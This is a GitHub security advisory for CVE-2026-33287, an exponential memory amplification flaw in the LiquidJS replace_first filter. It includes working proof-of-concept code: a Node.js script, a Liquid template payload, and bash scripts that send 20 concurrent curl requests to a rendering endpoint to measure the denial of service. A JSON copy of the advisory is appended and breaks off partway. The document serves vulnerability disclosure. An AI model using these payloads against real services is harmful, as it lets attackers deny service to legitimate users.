GHSA-6Q5M-63H6-5X4V

Vulnerability from github – Published: 2026-03-25 17:44 – Updated: 2026-03-30 13:53
VLAI?
Summary
LiquidJS has Exponential Memory Amplification through its replace_first Filter $& Pattern
Details

Summary

The replace_first filter in LiquidJS uses JavaScript's String.prototype.replace() which interprets $& as a backreference to the matched substring. The filter only charges memoryLimit for the input string length, not the amplified output. An attacker can achieve exponential memory amplification (up to 625,000:1) while staying within the memoryLimit budget, leading to denial of service.

Details

The replace_first filter in src/builtin/filters/string.ts:130-133 delegates to JavaScript's native String.prototype.replace(). This native method interprets special replacement patterns including $& (insert the matched substring), $' (insert the portion after the match), and $` (insert the portion before the match).

The filter calls memoryLimit.use(str.length) to account for the input string's memory cost, but the output string — potentially many times larger due to $& expansion — is never charged against the memory limit.

An attacker can build a 1MB string (within memoryLimit budget), then use replace_first with a replacement string containing 50 repetitions of $&. Each $& expands to the full matched string (1MB), producing a 50MB output that is not charged to the memory counter.

By chaining this technique across multiple variable assignments, exponential amplification is achieved:

Stage Input Size $& Repetitions Output Size Cumulative memoryLimit Charge
1 1 byte 50 50 bytes ~1 byte
2 50 bytes 50 2,500 bytes ~51 bytes
3 2,500 bytes 50 125 KB ~2.6 KB
4 125 KB 50 6.25 MB ~128 KB
5 6.25 MB 50 312.5 MB ~6.38 MB

Total amplification factor: ~625,000:1 (312.5 MB output vs. ~6.38 MB charged to memoryLimit).

Notably, the sibling replace filter uses str.split(pattern).join(replacement), which treats $& as a literal string and is therefore not vulnerable. The replace_last filter uses manual substring operations and is also safe. Only replace_first is affected.

// src/builtin/filters/string.ts:130-133 — VULNERABLE
export function replace_first (v: string, arg1: string, arg2: string) {
  const str = stringify(v)
  this.context.memoryLimit.use(str.length)  // Only charges input
  return str.replace(stringify(arg1), arg2)  // $& expansion uncharged!
}

// src/builtin/filters/string.ts:125-129 — SAFE (for comparison)
export function replace (v: string, arg1: string, arg2: string) {
  const str = stringify(v)
  this.context.memoryLimit.use(str.length)
  return str.split(stringify(arg1)).join(arg2)  // split/join: $& treated as literal
}

PoC

Prerequisites: - npm install liquidjs@10.24.0 - An application that renders user-provided Liquid templates (CMS, newsletter editor, SaaS platform, etc.)

Save the following as poc_replace_first_amplification.js and run with node poc_replace_first_amplification.js:

const { Liquid } = require('liquidjs');

(async () => {
  const engine = new Liquid({ memoryLimit: 1e8 }); // 100MB limit

  // Step 1 — Verify $& expansion in replace_first
  console.log('=== Step 1: $& expansion in replace_first ===');
  const step1 = '{{ "HELLO" | replace_first: "HELLO", "$&-$&-$&" }}';
  console.log('Result:', await engine.parseAndRender(step1));
  // Output: "HELLO-HELLO-HELLO" — $& expanded to matched string

  // Step 2 — Verify replace (split/join) is safe
  console.log('\n=== Step 2: replace is safe ===');
  const step2 = '{{ "ABCDE" | replace: "ABCDE", "$&$&$&" }}';
  console.log('Result:', await engine.parseAndRender(step2));
  // Output: "$&$&$&" — $& treated as literal

  // Step 3 — 5-stage exponential amplification (50x per stage)
  console.log('\n=== Step 3: Exponential amplification (625,000:1) ===');
  const amp50 = '$&'.repeat(50);
  const step3 = [
    '{% assign s = "A" %}',
    '{% assign s = s | replace_first: s, "' + amp50 + '" %}',
    '{% assign s = s | replace_first: s, "' + amp50 + '" %}',
    '{% assign s = s | replace_first: s, "' + amp50 + '" %}',
    '{% assign s = s | replace_first: s, "' + amp50 + '" %}',
    '{% assign s = s | replace_first: s, "' + amp50 + '" %}',
    '{{ s | size }}'
  ].join('');

  const startMem = process.memoryUsage().heapUsed;
  const result = await engine.parseAndRender(step3);
  const endMem = process.memoryUsage().heapUsed;

  console.log('Output string size:', result.trim(), 'bytes');  // "312500000"
  console.log('Heap increase:', ((endMem - startMem) / 1e6).toFixed(1), 'MB');
  console.log('Amplification: ~625,000:1 (1 byte input -> 312.5 MB output)');
  console.log('memoryLimit charged: < 7 MB (only input lengths counted)');
})();

Expected output:

=== Step 1: $& expansion in replace_first ===
Result: HELLO-HELLO-HELLO

=== Step 2: replace is safe ===
Result: $&$&$&

=== Step 3: Exponential amplification (625,000:1) ===
Output string size: 312500000 bytes
Heap increase: ~625.0 MB
Amplification: ~625,000:1 (1 byte input → 312.5 MB output)
memoryLimit charged: < 7 MB (only input lengths counted)

The memoryLimit of 100MB is completely bypassed — 312.5 MB is allocated while only ~6.38 MB is charged to the memory counter.

Demonstrated Denial of Service (concurrent attack)

After confirming the single-request PoC, launch 20 concurrent attacks + legitimate user requests to measure actual service disruption.

Raw Liquid template payload sent by attacker:

{% assign s = "A" %}
{% assign s = s | replace_first: s, "$&$&$&...(50 times)...$&" %}
{% assign s = s | replace_first: s, "$&$&$&...(50 times)...$&" %}
{% assign s = s | replace_first: s, "$&$&$&...(50 times)...$&" %}
{% assign s = s | replace_first: s, "$&$&$&...(50 times)...$&" %}
{% assign s = s | replace_first: s, "$&$&$&...(50 times)...$&" %}
{{ s }}

$& is a JavaScript String.prototype.replace() backreference pattern that inserts the entire matched string. Each stage amplifies 50x → 5 stages = 50^5 = 312,500,000 characters (~312.5MB). {{ s }} forces the full output into the HTTP response, keeping memory allocated during transfer and blocking the Node.js event loop.

#!/bin/bash
# DoS demonstration: 20 concurrent attacks + legitimate user latency measurement

DOLLAR='$&'
REP50=$(printf "${DOLLAR}%.0s" {1..50})
PAYLOAD="{% assign s = \"A\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{% assign s = s | replace_first: s, \"${REP50}\" %}{{ s }}"

echo "=== Advisory 2 DoS: 20 concurrent + normal user ==="

# 20 DoS attack requests (per-request timing)
for i in $(seq 1 20); do
  (
    t1=$(date +%s%3N)
    curl -s -o /dev/null --max-time 120 -X POST "http://<app>/newsletter/preview" \
      -H "Content-Type: application/x-www-form-urlencoded" \
      --data-urlencode "template=$PAYLOAD"
    t2=$(date +%s%3N)
    echo "DoS[$i]: $(( t2 - t1 ))ms"
  ) &
done

# Legitimate user requests at 0s, 3s, 6s
(
  t1=$(date +%s%3N)
  curl -s -o /dev/null --max-time 60 -X POST "http://<app>/newsletter/preview" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    --data-urlencode "template=<h1>Hello</h1>"
  t2=$(date +%s%3N)
  echo "Normal[0s]: $(( t2 - t1 ))ms"
) &

(
  sleep 3
  t1=$(date +%s%3N)
  curl -s -o /dev/null --max-time 60 -X POST "http://<app>/newsletter/preview" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    --data-urlencode "template=<h1>Hello</h1>"
  t2=$(date +%s%3N)
  echo "Normal[3s]: $(( t2 - t1 ))ms"
) &

(
  sleep 6
  t1=$(date +%s%3N)
  curl -s -o /dev/null --max-time 60 -X POST "http://<app>/newsletter/preview" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    --data-urlencode "template=<h1>Hello</h1>"
  t2=$(date +%s%3N)
  echo "Normal[6s]: $(( t2 - t1 ))ms"
) &

wait
echo "=== Done ==="

Empirical results (Node.js v20.20.1, LiquidJS 10.24.0):

Normal[0s]:  13047ms  ← request sent concurrently with attack — 13s delay
Normal[3s]:  10124ms  ← still blocked 3 seconds later — 10s delay
Normal[6s]:   7186ms  ← still blocked 6 seconds later — 7s delay
DoS[1]:      14729ms
DoS[2-20]:   17747ms ~ 25353ms

With 20 concurrent requests, legitimate users experience up to 13-second delays. Requests sent 6 seconds after the attack began still take 7 seconds, confirming sustained service disruption throughout the ~25-second attack window. Each attack request costs only ~500 bytes.

HTTP Reproduction (for applications that accept user templates)

# $& expansion — should return "HELLO-HELLO-HELLO"
curl -s -X POST http://<app>/render \
  -H "Content-Type: application/json" \
  -d '{"template": "{{ \"HELLO\" | replace_first: \"HELLO\", \"$&-$&-$&\" }}"}'

# replace is safe — should return literal "$&$&$&"
curl -s -X POST http://<app>/render \
  -H "Content-Type: application/json" \
  -d '{"template": "{{ \"ABCDE\" | replace: \"ABCDE\", \"$&$&$&\" }}"}'

# 5-stage 50x amplification — produces ~312.5MB response
curl -s -X POST http://<app>/render \
  -H "Content-Type: application/json" \
  -d '{"template": "{% assign s = \"A\" %}{% assign s = s | replace_first: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{% assign s = s | replace_first: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{% assign s = s | replace_first: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{% assign s = s | replace_first: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{% assign s = s | replace_first: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{{ s | size }}"}'
# 20 concurrent DoS attack requests
for i in $(seq 1 20); do
  curl -s -o /dev/null --max-time 120 -X POST "http://<app>/render" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    --data-urlencode 'template={% assign s = "A" %}{% assign s = s | replace_first: s, "$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&" %}{% assign s = s | replace_first: s, "$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&" %}{% assign s = s | replace_first: s, "$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&" %}{% assign s = s | replace_first: s, "$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&" %}{% assign s = s | replace_first: s, "$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&" %}{{ s }}' &
done

# Legitimate user request (concurrent)
curl -w "Normal: %{time_total}s\n" -s -o /dev/null --max-time 60 -X POST "http://<app>/render" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode 'template=<h1>Hello</h1>' &

wait

Replace http://<app>/render with the actual template rendering endpoint. The payload is pure Liquid syntax and works regardless of the HTTP framework.

Impact

  • memoryLimit security bypass: The memory limit is rendered ineffective for templates using replace_first with $& patterns.
  • Demonstrated Denial of Service: A single request allocates 312.5 MB (625 MB heap). Concurrent requests cause complete service unavailability. Due to Node.js single-threaded architecture, the event loop is blocked and all legitimate user requests are stalled.
  • Measured service disruption (LiquidJS 10.24.0, Node.js v20, empirically verified):
Concurrent Attack Requests Legitimate User Latency vs. Baseline Server Blocked
10 3.2s 640x ~11s
20 10.9s 2,180x ~29s

With 20 concurrent requests, legitimate user requests are delayed by 10.9 seconds and the server becomes completely unresponsive for 29 seconds. Requests sent 6 seconds after the attack began still took 8 seconds, confirming sustained service disruption throughout the attack window. The attack cost is ~500 bytes per HTTP request.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "liquidjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "10.24.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33287"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-25T17:44:23Z",
    "nvd_published_at": "2026-03-26T01:16:27Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe `replace_first` filter in LiquidJS uses JavaScript\u0027s `String.prototype.replace()` which interprets `$\u0026` as a backreference to the matched substring. The filter only charges `memoryLimit` for the input string length, not the amplified output. An attacker can achieve exponential memory amplification (up to 625,000:1) while staying within the `memoryLimit` budget, leading to denial of service.\n\n### Details\nThe `replace_first` filter in `src/builtin/filters/string.ts:130-133` delegates to JavaScript\u0027s native `String.prototype.replace()`. This native method interprets special replacement patterns including `$\u0026` (insert the matched substring), `$\u0027` (insert the portion after the match), and `` $` `` (insert the portion before the match).\n\nThe filter calls `memoryLimit.use(str.length)` to account for the **input** string\u0027s memory cost, but the **output** string \u2014 potentially many times larger due to `$\u0026` expansion \u2014 is never charged against the memory limit.\n\nAn attacker can build a 1MB string (within `memoryLimit` budget), then use `replace_first` with a replacement string containing 50 repetitions of `$\u0026`. Each `$\u0026` expands to the full matched string (1MB), producing a 50MB output that is not charged to the memory counter.\n\nBy chaining this technique across multiple variable assignments, exponential amplification is achieved:\n\n| Stage | Input Size | `$\u0026` Repetitions | Output Size | Cumulative `memoryLimit` Charge |\n|-------|-----------|-------------------|-------------|-------------------------------|\n| 1 | 1 byte | 50 | 50 bytes | ~1 byte |\n| 2 | 50 bytes | 50 | 2,500 bytes | ~51 bytes |\n| 3 | 2,500 bytes | 50 | 125 KB | ~2.6 KB |\n| 4 | 125 KB | 50 | 6.25 MB | ~128 KB |\n| 5 | 6.25 MB | 50 | 312.5 MB | ~6.38 MB |\n\n**Total amplification factor: ~625,000:1** (312.5 MB output vs. ~6.38 MB charged to `memoryLimit`).\n\nNotably, the sibling `replace` filter uses `str.split(pattern).join(replacement)`, which treats `$\u0026` as a literal string and is therefore not vulnerable. The `replace_last` filter uses manual substring operations and is also safe. Only `replace_first` is affected.\n\n```typescript\n// src/builtin/filters/string.ts:130-133 \u2014 VULNERABLE\nexport function replace_first (v: string, arg1: string, arg2: string) {\n  const str = stringify(v)\n  this.context.memoryLimit.use(str.length)  // Only charges input\n  return str.replace(stringify(arg1), arg2)  // $\u0026 expansion uncharged!\n}\n\n// src/builtin/filters/string.ts:125-129 \u2014 SAFE (for comparison)\nexport function replace (v: string, arg1: string, arg2: string) {\n  const str = stringify(v)\n  this.context.memoryLimit.use(str.length)\n  return str.split(stringify(arg1)).join(arg2)  // split/join: $\u0026 treated as literal\n}\n```\n\n### PoC\n**Prerequisites**:\n- `npm install liquidjs@10.24.0`\n- An application that renders user-provided Liquid templates (CMS, newsletter editor, SaaS platform, etc.)\n\nSave the following as `poc_replace_first_amplification.js` and run with `node poc_replace_first_amplification.js`:\n\n```javascript\nconst { Liquid } = require(\u0027liquidjs\u0027);\n\n(async () =\u003e {\n  const engine = new Liquid({ memoryLimit: 1e8 }); // 100MB limit\n\n  // Step 1 \u2014 Verify $\u0026 expansion in replace_first\n  console.log(\u0027=== Step 1: $\u0026 expansion in replace_first ===\u0027);\n  const step1 = \u0027{{ \"HELLO\" | replace_first: \"HELLO\", \"$\u0026-$\u0026-$\u0026\" }}\u0027;\n  console.log(\u0027Result:\u0027, await engine.parseAndRender(step1));\n  // Output: \"HELLO-HELLO-HELLO\" \u2014 $\u0026 expanded to matched string\n\n  // Step 2 \u2014 Verify replace (split/join) is safe\n  console.log(\u0027\\n=== Step 2: replace is safe ===\u0027);\n  const step2 = \u0027{{ \"ABCDE\" | replace: \"ABCDE\", \"$\u0026$\u0026$\u0026\" }}\u0027;\n  console.log(\u0027Result:\u0027, await engine.parseAndRender(step2));\n  // Output: \"$\u0026$\u0026$\u0026\" \u2014 $\u0026 treated as literal\n\n  // Step 3 \u2014 5-stage exponential amplification (50x per stage)\n  console.log(\u0027\\n=== Step 3: Exponential amplification (625,000:1) ===\u0027);\n  const amp50 = \u0027$\u0026\u0027.repeat(50);\n  const step3 = [\n    \u0027{% assign s = \"A\" %}\u0027,\n    \u0027{% assign s = s | replace_first: s, \"\u0027 + amp50 + \u0027\" %}\u0027,\n    \u0027{% assign s = s | replace_first: s, \"\u0027 + amp50 + \u0027\" %}\u0027,\n    \u0027{% assign s = s | replace_first: s, \"\u0027 + amp50 + \u0027\" %}\u0027,\n    \u0027{% assign s = s | replace_first: s, \"\u0027 + amp50 + \u0027\" %}\u0027,\n    \u0027{% assign s = s | replace_first: s, \"\u0027 + amp50 + \u0027\" %}\u0027,\n    \u0027{{ s | size }}\u0027\n  ].join(\u0027\u0027);\n\n  const startMem = process.memoryUsage().heapUsed;\n  const result = await engine.parseAndRender(step3);\n  const endMem = process.memoryUsage().heapUsed;\n\n  console.log(\u0027Output string size:\u0027, result.trim(), \u0027bytes\u0027);  // \"312500000\"\n  console.log(\u0027Heap increase:\u0027, ((endMem - startMem) / 1e6).toFixed(1), \u0027MB\u0027);\n  console.log(\u0027Amplification: ~625,000:1 (1 byte input -\u003e 312.5 MB output)\u0027);\n  console.log(\u0027memoryLimit charged: \u003c 7 MB (only input lengths counted)\u0027);\n})();\n```\n\n**Expected output:**\n\n```\n=== Step 1: $\u0026 expansion in replace_first ===\nResult: HELLO-HELLO-HELLO\n\n=== Step 2: replace is safe ===\nResult: $\u0026$\u0026$\u0026\n\n=== Step 3: Exponential amplification (625,000:1) ===\nOutput string size: 312500000 bytes\nHeap increase: ~625.0 MB\nAmplification: ~625,000:1 (1 byte input \u2192 312.5 MB output)\nmemoryLimit charged: \u003c 7 MB (only input lengths counted)\n```\n\nThe `memoryLimit` of 100MB is completely bypassed \u2014 312.5 MB is allocated while only ~6.38 MB is charged to the memory counter.\n\n#### Demonstrated Denial of Service (concurrent attack)\n\nAfter confirming the single-request PoC, launch 20 concurrent attacks + legitimate user requests to measure actual service disruption.\n\n**Raw Liquid template payload sent by attacker:**\n```liquid\n{% assign s = \"A\" %}\n{% assign s = s | replace_first: s, \"$\u0026$\u0026$\u0026...(50 times)...$\u0026\" %}\n{% assign s = s | replace_first: s, \"$\u0026$\u0026$\u0026...(50 times)...$\u0026\" %}\n{% assign s = s | replace_first: s, \"$\u0026$\u0026$\u0026...(50 times)...$\u0026\" %}\n{% assign s = s | replace_first: s, \"$\u0026$\u0026$\u0026...(50 times)...$\u0026\" %}\n{% assign s = s | replace_first: s, \"$\u0026$\u0026$\u0026...(50 times)...$\u0026\" %}\n{{ s }}\n```\n\n\u003e `$\u0026` is a JavaScript `String.prototype.replace()` backreference pattern that inserts the entire matched string. Each stage amplifies 50x \u2192 5 stages = 50^5 = 312,500,000 characters (~312.5MB). `{{ s }}` forces the full output into the HTTP response, keeping memory allocated during transfer and blocking the Node.js event loop.\n\n```bash\n#!/bin/bash\n# DoS demonstration: 20 concurrent attacks + legitimate user latency measurement\n\nDOLLAR=\u0027$\u0026\u0027\nREP50=$(printf \"${DOLLAR}%.0s\" {1..50})\nPAYLOAD=\"{% assign s = \\\"A\\\" %}{% assign s = s | replace_first: s, \\\"${REP50}\\\" %}{% assign s = s | replace_first: s, \\\"${REP50}\\\" %}{% assign s = s | replace_first: s, \\\"${REP50}\\\" %}{% assign s = s | replace_first: s, \\\"${REP50}\\\" %}{% assign s = s | replace_first: s, \\\"${REP50}\\\" %}{{ s }}\"\n\necho \"=== Advisory 2 DoS: 20 concurrent + normal user ===\"\n\n# 20 DoS attack requests (per-request timing)\nfor i in $(seq 1 20); do\n  (\n    t1=$(date +%s%3N)\n    curl -s -o /dev/null --max-time 120 -X POST \"http://\u003capp\u003e/newsletter/preview\" \\\n      -H \"Content-Type: application/x-www-form-urlencoded\" \\\n      --data-urlencode \"template=$PAYLOAD\"\n    t2=$(date +%s%3N)\n    echo \"DoS[$i]: $(( t2 - t1 ))ms\"\n  ) \u0026\ndone\n\n# Legitimate user requests at 0s, 3s, 6s\n(\n  t1=$(date +%s%3N)\n  curl -s -o /dev/null --max-time 60 -X POST \"http://\u003capp\u003e/newsletter/preview\" \\\n    -H \"Content-Type: application/x-www-form-urlencoded\" \\\n    --data-urlencode \"template=\u003ch1\u003eHello\u003c/h1\u003e\"\n  t2=$(date +%s%3N)\n  echo \"Normal[0s]: $(( t2 - t1 ))ms\"\n) \u0026\n\n(\n  sleep 3\n  t1=$(date +%s%3N)\n  curl -s -o /dev/null --max-time 60 -X POST \"http://\u003capp\u003e/newsletter/preview\" \\\n    -H \"Content-Type: application/x-www-form-urlencoded\" \\\n    --data-urlencode \"template=\u003ch1\u003eHello\u003c/h1\u003e\"\n  t2=$(date +%s%3N)\n  echo \"Normal[3s]: $(( t2 - t1 ))ms\"\n) \u0026\n\n(\n  sleep 6\n  t1=$(date +%s%3N)\n  curl -s -o /dev/null --max-time 60 -X POST \"http://\u003capp\u003e/newsletter/preview\" \\\n    -H \"Content-Type: application/x-www-form-urlencoded\" \\\n    --data-urlencode \"template=\u003ch1\u003eHello\u003c/h1\u003e\"\n  t2=$(date +%s%3N)\n  echo \"Normal[6s]: $(( t2 - t1 ))ms\"\n) \u0026\n\nwait\necho \"=== Done ===\"\n```\n\n**Empirical results** (Node.js v20.20.1, LiquidJS 10.24.0):\n```\nNormal[0s]:  13047ms  \u2190 request sent concurrently with attack \u2014 13s delay\nNormal[3s]:  10124ms  \u2190 still blocked 3 seconds later \u2014 10s delay\nNormal[6s]:   7186ms  \u2190 still blocked 6 seconds later \u2014 7s delay\nDoS[1]:      14729ms\nDoS[2-20]:   17747ms ~ 25353ms\n```\n\nWith 20 concurrent requests, legitimate users experience **up to 13-second delays**. Requests sent 6 seconds after the attack began still take 7 seconds, confirming sustained service disruption throughout the ~25-second attack window. Each attack request costs only ~500 bytes.\n\n#### HTTP Reproduction (for applications that accept user templates)\n\n```bash\n# $\u0026 expansion \u2014 should return \"HELLO-HELLO-HELLO\"\ncurl -s -X POST http://\u003capp\u003e/render \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"template\": \"{{ \\\"HELLO\\\" | replace_first: \\\"HELLO\\\", \\\"$\u0026-$\u0026-$\u0026\\\" }}\"}\u0027\n\n# replace is safe \u2014 should return literal \"$\u0026$\u0026$\u0026\"\ncurl -s -X POST http://\u003capp\u003e/render \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"template\": \"{{ \\\"ABCDE\\\" | replace: \\\"ABCDE\\\", \\\"$\u0026$\u0026$\u0026\\\" }}\"}\u0027\n\n# 5-stage 50x amplification \u2014 produces ~312.5MB response\ncurl -s -X POST http://\u003capp\u003e/render \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"template\": \"{% assign s = \\\"A\\\" %}{% assign s = s | replace_first: s, \\\"$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026\\\" %}{% assign s = s | replace_first: s, \\\"$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026\\\" %}{% assign s = s | replace_first: s, \\\"$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026\\\" %}{% assign s = s | replace_first: s, \\\"$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026\\\" %}{% assign s = s | replace_first: s, \\\"$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026\\\" %}{{ s | size }}\"}\u0027\n```\n```bash\n# 20 concurrent DoS attack requests\nfor i in $(seq 1 20); do\n  curl -s -o /dev/null --max-time 120 -X POST \"http://\u003capp\u003e/render\" \\\n    -H \"Content-Type: application/x-www-form-urlencoded\" \\\n    --data-urlencode \u0027template={% assign s = \"A\" %}{% assign s = s | replace_first: s, \"$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026\" %}{% assign s = s | replace_first: s, \"$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026\" %}{% assign s = s | replace_first: s, \"$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026\" %}{% assign s = s | replace_first: s, \"$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026\" %}{% assign s = s | replace_first: s, \"$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026$\u0026\" %}{{ s }}\u0027 \u0026\ndone\n\n# Legitimate user request (concurrent)\ncurl -w \"Normal: %{time_total}s\\n\" -s -o /dev/null --max-time 60 -X POST \"http://\u003capp\u003e/render\" \\\n  -H \"Content-Type: application/x-www-form-urlencoded\" \\\n  --data-urlencode \u0027template=\u003ch1\u003eHello\u003c/h1\u003e\u0027 \u0026\n\nwait\n```\n\nReplace `http://\u003capp\u003e/render` with the actual template rendering endpoint. The payload is pure Liquid syntax and works regardless of the HTTP framework.\n\n### Impact\n- **`memoryLimit` security bypass**: The memory limit is rendered ineffective for templates using `replace_first` with `$\u0026` patterns.\n- **Demonstrated Denial of Service**: A single request allocates 312.5 MB (625 MB heap). Concurrent requests cause **complete service unavailability**. Due to Node.js single-threaded architecture, the event loop is blocked and all legitimate user requests are stalled.\n- **Measured service disruption** (LiquidJS 10.24.0, Node.js v20, empirically verified):\n\n  | Concurrent Attack Requests | Legitimate User Latency | vs. Baseline | Server Blocked |\n  |---------------------------|------------------------|-------------|---------------|\n  | 10 | 3.2s | **640x** | ~11s |\n  | 20 | **10.9s** | **2,180x** | ~29s |\n\n  With 